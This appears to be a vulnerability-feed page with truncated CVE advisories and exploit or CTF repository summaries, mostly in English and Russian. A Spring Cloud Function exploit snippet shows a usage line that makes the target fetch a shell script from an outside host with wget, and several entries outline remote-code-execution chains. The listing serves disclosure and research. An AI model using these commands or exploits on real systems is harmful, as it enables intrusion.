CVE-2026-84109 Xinhu Rainrock RockOA webmainAction.php getOrder sql injection

A weakness has been identified in Xinhu Rainrock RockOA up to 2.7.6. Affected by this issue is the function getOrder of the file webmain/webmainAction.php. Executing a manipulation of the argument highorder can lead to sql injection. The attack can be launched remotely. The exploit has been made...

CVE-2026-51747

Incorrect access control in the keepAlive function of TOTOLINK T6 4.1.5cu.748B20211015 allows unauthenticated attackers to emit indirect mesh heartbeat information toward the master via sending a crafted MQTT message to the csbroker component...

CVE-2026-84194 LibreNMS 23.10.0 before 26.4.0 OS Command Injection via Hostname

LibreNMS versions = 23.10.0 and getDevice-hostname is concatenated into shell commands ssh, virsh list/dumpxml/domstate in VminfoLibvirt.php and passed to exec without escapeshellarg or argument separation. An authenticated admin can set a crafted device hostname to inject arbitrary OS commands,...

CVE-2025-55182-React2Shell-Lab

CyberSec Blog CTF - React2Shell PoC Этот репозиторий предоставляет уязвимую среду CTF Capture The Flag, основанную на блоге по кибербезопасности, использующем Next.js и React Server Components. CVE-2025-55182 : Уязвимость удаленного выполнения кода RCE без аутентификации в React Server Components...

CVE-2026-82556

A flaw was found in Forgejo. A remote attacker could exploit a server-side request forgery SSRF vulnerability by manipulating the net.LookupIP function within the Repository Migration Handler. This could allow the attacker to force the server to make requests to arbitrary network resources,...

CVE-2025-12758

CVE-2025-12758: Обход Unicode Variation Selector в функции isLength библиотеки Validator.js CVE ID: CVE-2025-12758 CVSS Score: 8.7 HIGH Уровень опасности: HIGH CWE: CWE-792 Incomplete Filtering of One or More Instances of Special Elements Опубликован: November 26, 2025 Раскрыт: October 19, 2025...

React-Router-CVE-2025-61686-

CVE-2025-61686 Отчет об анализе уязвимости Обзор уязвимости CVE ID : CVE-2025-61686 Затронутые версии : @react-router/node с 7.0.0 по 7.9.3 Тип уязвимости : Path Traversal / Directory Traversal Принцип уязвимости 1. Местоположение уязвимости Уязвимость находится в файле...

CVE-2025-65345

CVE-2025-65345 – Аутентифицированный обход пути через функцию ZIP, приводящий к раскрытию файловой системы в laravel-file-manager v3.3.1 🧭 Обзор Уязвимость аутентифицированного обхода каталогов в laravel-file-manager версии v3.3.1 и ниже позволяет злоумышленникам, имеющим доступ к интерфейсу...

CVE-2025-65018_Exploit_Challenge

CVE-2025-65018 CTF-челлендж: «PNG Panic» Этот челлендж основан на реальной уязвимости переполнения буфера в libpng конкретно, в упрощённом API pngimagefinishread при обработке 16-битных чересстрочных изображений. 🚩 Цель челленджа Вам предоставлен уязвимый бинарный файл victim, который использует...

CVE-2025-55182

CVE-2025-55182 - React Server Components RCE NOTE: Written by AI/Claude https://github.com/ejpir/CVE-2025-55182-bypass TL;DR CVE-2025-55182 は、React の Flight Protocol における重大な RCE 脆弱性です。この攻撃は パストラバーサル + 偽のチャンク注入 + $B ハンドラの悪用 を連鎖させ、Functionattackercode を実行します。 ワーキングエクスプロイトチェーンを提供してくれたmaple3142...

CVE-2024-42009

CVE-2024-42009 – Отраженный XSS в Roundcube Webmail 📌 Обзор Этот репозиторий содержит Nuclei-шаблон и вспомогательные ресурсы для безопасной демонстрации и проверки CVE-2024-42009 , критической уязвимости отраженного XSS в Roundcube Webmail. Ошибка находится в функции messagebody в show.php, где...

CVE-2026-19952

The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the movefolders function in all versions up to, and including, 3.29.12. This makes it possible for unauthenticated attackers to delete arbitrary files on the...

CVE-2025-55182-exploit

Эксплойт CVE-2025-55182 Этот репозиторий содержит простой эксплойт для CVE-2025-55182 — критической уязвимости удаленного выполнения кода в React Server Components. Обзор уязвимости CVE-2025-55182 — это неаутентифицированная уязвимость удаленного выполнения кода в React Server Components CVSS 10....

CVE-2024-47875-PhpSpreadsheet-XSS-PoC

CVE-2025-22131 • PhpSpreadsheet HTML Writer XSS PoC Обзор Это PoC-эксплойт для CVE-2025-22131 — уязвимости межсайтового скриптинга XSS в PhpSpreadsheet версий ниже 2.2.2, 2.1.2 и 1.29.4. Уязвимость находится в функции generateNavigation, которая не санитизирует имена листов при конвертации XLSX в...

CVE-2025-55182

CVE-2025-55182 RCE Инструмент для самопроверки, используется для проверки уязвимости CVE-2025-55182 Принцип уязвимости React Server Components при декодировании полезной нагрузки, отправляемой на конечные точки серверных функций, содержат дефект разрешения пути. Путем разделения свойств объекта...

CVE-2020-8423

CVE-2020-8423 https://ktln2.org/2020/03/29/exploiting-mips-router/testing-environment를 기반으로 한 연구 hook.c는 특히 open 커스터마이즈되었다. vmlinux 버전 2.6.31...

CVE-2022-22963-PoC

CVE-2022-22963: Эксплойт Spring4Shell RCE Это реализация на Python для Spring4Shell, CVE-2022-22963, затрагивающая сервисы, работающие на Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed +...

CVE-2022-22963

CVE-2022-22963 Образовательная автоматизация proof-of-concept для CVE-2022-22963, продемонстрированная в авторизованной лабораторной среде Hack The Box. Обзор CVE-2022-22963 — это уязвимость Spring Cloud Function, связанная с заголовком spring.cloud.function.routing-expression. При уязвимых...

EUVD-2026-69411

llama.cpp b5693 and before has a Reachable Assertion via the ggufreader::read function...

TencentOS Server 4: xmlrpc-c (TSSA-2026:0877)

The version of Tencent Linux installed on the remote TencentOS Server 4 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2026:0877 advisory. Package updates are available for TencentOS Server 4 that fix the following vulnerabilities:...